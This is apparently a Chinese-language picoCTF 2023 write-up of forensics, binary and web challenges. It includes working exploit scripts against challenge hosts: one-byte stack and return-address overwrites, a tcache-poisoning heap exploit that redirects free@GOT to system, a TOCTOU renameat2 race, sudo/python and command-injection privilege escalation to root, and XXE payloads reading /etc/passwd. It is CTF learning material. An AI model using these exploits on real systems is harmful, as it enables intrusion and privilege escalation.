picoctf2023
Forensics
FIndAndOpen
一个流量包和一个flagzip。流量包里面看到半截flag。
base解码可以看到。
然后用这半截作为密码打开zip。。。。。(这我是真sb,想不到
PcapPosoning
直接搜索
hideme
分离出图片中的压缩包就能看到
MSB
根据题目名字,一眼顶针。stegsolve提取出msb下的7bit数据转储为txt。
直接获得flag
who is it
根据题目hint,利用whois查询ip得到注册人name
邮件里面找到发送ip
whois查询到注册人名称
Binary Exploitation
babygame1
partial overwrite的类型。main函数中,只要覆盖v6位置,让v6不为零即可getflag。
漏洞在move_player函数中。可以根据v4数组和v5指针实现任意一个字节的赋值。
在stack中v4数组和v5以及v6的顺序如下,可以很简单的覆盖。
exp
from pwncy import *
import time
context(arch = "i386")
p,elf,libc = load("game",ip_port = "saturn.picoctf.net:52346")
debug(p,'no-tmux',0x08049233)
sl(b"l\x01")
pause()
sl(b"w" * 4)
sl(b"a" * 8)
sl(b"p") #输入p即可直接通关
itr()
two_sum
题目只给出了源c代码,程序需要自己编译。漏洞就是基本的int类型溢出。输入两个0x7f000000,求和就会溢出。就不赘述了。
from pwncy import *
p = process("1")
sl(str(0x7f000000))
sl(str(0x7f000000))
itr()
babygame02
类似于babygame01,但是需要我们overwrite move_player函数的ret地址。
- 因为下面的move_player函数会先将目的地址覆盖成0x2e的,再覆盖成我们设置的player_tile的值。因此只能控制一个字节数值。所以要覆盖ret的低字节。
这里要注意,打远程的时候需要覆盖ret的最低字节为"\x79",也就是输入字符"y"。如果覆盖"\x5d"的地址,目前还不知道为什么不行
exp
from pwncy import *
context(arch = "i386")
p,elf,libc = load("game",ip_port = "saturn.picoctf.net:51146")
win_addr = 0x0804975D
debug(p, 0x8049674,0x8049704)
sl(b"l\x09")
sl(b'd' * 0x2f)
s(b"w" * 0x5)
sl(b"ly") #0x79
# sl(b"l]") #0x5d
itr()
本题感谢一下@ZIKH26师傅的帮助。
hijacking
linux的基础提权题目。首先查看可以越权使用的命令
sudo -l
再看我们对.server.py文件有什么权限,只读权限。
根据前面的sudo可以知道,我们可以使用root权限下的python3命令。因此伪造一个.server.py文件并执行bash来进行提权
# /usr/bin/python3 /home/picoctf/.server.py
import os
os.system("/usr/bin/bash")
执行后成功提权。
在/root下找到.flag.txt文件
VNE
一个二进制文件bin,可以展示文件夹目录,相当于root权限下的ls命令。考的知识点也就是linux的shell命令拼接。
题目给出的hint,这里展示一下:
hint1: Have you checked the content of the /root folder
hint2: Find a way to add more instructions to the ls
下面是过程。首先直接执行bin文件
预计这个程序是通过读取用户环境变量来显示dir的,那么就export下环境变量
export SECRET_DIR='/root'
可以看到,bin程序应该是以root权限执行了ls的命令,那么命令拼接一下就能cat flag,也可以提权。
拼接了bash之后,就提升到了root权限。
tic-tac
题目源码
#include <iostream>
#include <fstream>
#include <unistd.h>
#include <sys/stat.h>
int main(int argc, char *argv[]) {
if (argc != 2) {
std::cerr << "Usage: " << argv[0] << " <filename>" << std::endl;
return 1;
}
std::string filename = argv[1];
std::ifstream file(filename);
struct stat statbuf;
// Check the file's status information.
if (stat(filename.c_str(), &statbuf) == -1) {
std::cerr << "Error: Could not retrieve file information" << std::endl;
return 1;
}
// Check the file's owner.
if (statbuf.st_uid != getuid()) {
std::cerr << "Error: you don't own this file" << std::endl;
return 1;
}
// Read the contents of the file.
if (file.is_open()) {
std::string line;
while (getline(file, line)) {
std::cout << line << std::endl;
}
} else {
std::cerr << "Error: Could not open file" << std::endl;
return 1;
}
return 0;
}
toctou--条件竞争
首先是toctou攻击,需要利用原子操作反复修改文件名,伪造打开文件的uid
//gcc exp.c -o attack
#define _GNU_SOURCE
#include <stdio.h>
#include <fcntl.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/syscall.h>
#include <linux/fs.h>
// source https://github.com/sroettger/35c3ctf_chals/blob/master/logrotate/exploit/rename.c
int main(int argc, char *argv[]) {
while (1) {
syscall(SYS_renameat2, AT_FDCWD, argv[1], AT_FDCWD, argv[2], RENAME_EXCHANGE);
}
return 0;
}
利用上面的原子操作对tmp下的文件进行交换,从而成功getflag
攻击理解
程序会先调用stat函数根据输入的文件名称来获取到文件属性的stat结构体,接着根据stat结构体中的uid判断文件的所有者,如果程序运行者和文件所有者的uid相同则输出文件内容。
在上面的程序流程中,获取文件属性和真正打开文件这两个操作是不能在同一个时间完成的,两个操作中间有个时间差。可以利用这个时间差来进行攻击。
我们在tmp目录下创建了两个文件my(flag的链接文件)和A(属于ctf-player的空文件),让A和my两个文件的inode不停的进行交换。
ls -il A my
//可以查看两个文件的incode信息
txtreader ./tmp/my
读取my链接文件的时候,因为原子操作极快,A和my两个文件在不停的进行交换。此时可能实际stat的是A文件,A文件本来就是属于我们的,可以绕过程序的初步检查。而在后面open my文件是,又变成了真正的my文件,从而读取出flag。
- 如果不创建my这个链接文件的话,因为flag的文件是属于root的,我们无法对其进行操作;另外仅有一个链接文件的话,打开的实际上也是flag文件,并不能绕过检查。
web exploitation
findme
输入名称看到hint,再进行抓包,查看post和get里面的base64码,就可以得到flag
MatchTheRegex
根据元素里面的提示,需要利用fetch进行匹配。查看jsp的fetch函数使用方式
需要利用fetch匹配到相应的资源才能够访问。因为hint是对picoCTF的匹配,所以提交正则表达式picoCTF!?
即可
SOAP
基础的XXE攻击,利用系统解析xml文件的漏洞进行攻击。利用XXE获取系统passwd文件 - 知乎 (zhihu.com)
poc如下
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<root>
<name>&xxe;</name>
</root>
根据poc修改出payload
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE c [
<!ENTITY file SYSTEM "/etc/passwd">
]>
<data>
<ID>1;&file;</ID></data>
proxy注入payload后查看远程本地passwd文件获得flag
赛后复现(部分
Invisible WORDs
010查看bmp文件,找到间隔的压缩包数据。
手动去掉多余的头部,剩下用脚本提取zip数据
fp = open(r"output.bmp",'rb')
data = fp.read()
tmp = [data[index:index + 2] for index in range(0,len(data),4)]
res = b"".join(tmp)
fp.close()
with open("1.zip",'wb') as f:
f.write(res)
打开zip可能会有报错,直接无视。在zip里面的文件中搜索找到flag。
housetrack
这个题目仔细看其实难度并不大,但是程序反编译代码不好查看,这是一个不友好的点。主要的漏洞点是在free后并没有清空指针,同时有个隐藏函数可以修改tcache chunk的next指针。
可以看到保护,可以覆写got表。
另外有个system函数和修改hourse内容的函数
还有一点就是free后仅仅是将结构体的标志位置零,并没有真正清空指针。
但是由于glibc版本是2.33,有一个tcache safe linking的机制需要绕过,所以我们要先leak出tcache异或的key。这一点卡了我很久,一直认为读取内容的函数会有'\x00'截断,无法泄露出这个key。笔者会说是自己代码逻辑没有理解好嘛,md
读取内容函数,当我们输入'\xff'时可以结束输入。然后就可以愉快的利用race来泄露key啦。
exp
from pwn import *
context(log_level = "debug",arch = "amd64")
filename = "vuln"
p,elf,libc = load(filename)
def cmd(choice):
sla("Choice: ",str(choice))
def add(index,size,content):
cmd(1)
sla("Stable index # (0-17)? ",str(index))
sla("Horse name length (16-256)? ",str(size))
sla("characters: ",content)
def delete(index):
cmd(2)
sla("Stable index # (0-17)? ",str(index))
def race():
cmd(3)
def change(index,content,position):
cmd(0)
sla("Stable index # (0-17)? ",str(index))
sla("Enter a string of 16 characters: ",content)
sla("New spot? ",str(position))
debug(p,'no-tmux',0x401D48) #0x401CE0,, 'b * 0x401DAB'
# glibc-2.27
# add(0, 0x20, b"1eadbeef" * 4)
# add(9,0x30, b"/bin/sh\x00" + b"deadbeef" * 5) #being freed
# delete(0)
# change(0,p64(0x4040EC-0xf) * 2,0x29)
# add(0,0x20,b"deadbeef" * 4)
# # add(1,0x10,p64(0) * 2) #cheat position chunk
# add(2, 0x10, b"2eadbeef" * 2)
# delete(2)
# change(2,p64(elf.got.free) * 2, 0)
# pause()
# add(2,0x10,b"deadbeef" * 2)
# add(3,0x10,p64(elf.plt.system) * 2)
# delete(9)
#------------------------------------------------------------#
#glibc-2.33
[add(i,0x17,b'deadbeef' * 2 + b"deadbee") for i in range(5)]
delete(0)
# delete(1)
# delete(2)
pause()
add(17,0x17,b"\xff")
race()
ru("WINNER: ")
heap_key = u16(r(2))
print(hex(heap_key))
add(16,0x30,b"/bin/sh\x00" + b"\xff")
add(8, 0x20, b"2eadbeef" * 4)
add(9, 0x20, b"2eadbeef" * 4)
delete(8)
delete(9)
free_got_18 = elf.got.free - 0x8 #tcache alinged 0x0
change(9,p64(free_got_18 ^ heap_key) * 2, 0)
pause()
add(10,0x20,b"deadbeef" * 4)
add(11,0x20,p64(elf.plt.system) * 4)
delete(16)
itr()